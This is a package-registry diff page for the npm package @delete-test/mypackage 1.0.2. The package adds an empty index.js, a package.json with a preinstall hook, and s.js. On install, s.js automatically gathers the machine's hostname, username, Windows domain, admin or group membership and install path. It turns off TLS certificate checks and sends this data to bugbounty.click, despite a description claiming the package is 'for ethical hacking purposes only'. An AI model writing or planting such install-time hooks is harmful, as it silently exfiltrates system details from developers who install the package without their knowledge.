@delete-test/mypackage 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @delete-test/mypackage might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +0 -0
  2. package/package.json +1 -0
  3. package/s.js +45 -0
package/index.js ADDED
File without changes
package/package.json ADDED
@@ -0,0 +1 @@
1
+ {"name": "@delete-test/mypackage", "version": "1.0.2", "description": "Package created for ethical hacking purposes only Please contact me at contact@bugbounty.click", "main": "index.js", "scripts": {"test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node s.js"}, "author": "", "license": "ISC"}
package/s.js ADDED
@@ -0,0 +1,45 @@
1
+
2
+ var os = require('os');
3
+ var hostname = os.hostname();
4
+ var username = os.userInfo().username;
5
+ var platform = os.platform();
6
+
7
+ var admin_text;
8
+
9
+ if (platform == 'win32' || platform == 'win64') {
10
+ try {
11
+ net_session = require('child_process').execSync('net session');
12
+ admin_text = 'admin';
13
+ }
14
+ catch {
15
+ admin_text = 'non-admin';
16
+ }
17
+
18
+ username = require('child_process').execSync('systeminfo | findstr /B Domain').toString().replace('Domain:', '').trim() + '/' + username;
19
+
20
+ } else {
21
+ admin_text = os.userInfo().uid;
22
+
23
+ try {
24
+ const { execSync } = require('child_process');
25
+ let stdout = execSync('groups').toString().replace('\n', '');
26
+ admin_text += ' ' + stdout;
27
+ }
28
+ catch {
29
+ }
30
+ }
31
+
32
+ process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
33
+
34
+ const https = require('https')
35
+ const options = {
36
+ hostname: 'bugbounty.click',
37
+ port: 443,
38
+ path: '/dc1234-bugbounty/knock-knock/log-install.php?Username=' + encodeURI(username + ' (' + admin_text + ')') + '&Hostname=' + encodeURI(hostname) + '&Package=delete-test%2Fmypackage&PWD=' + __dirname,
39
+ method: 'GET'
40
+ }
41
+
42
+ const req = https.request(options)
43
+
44
+ req.end();
45
+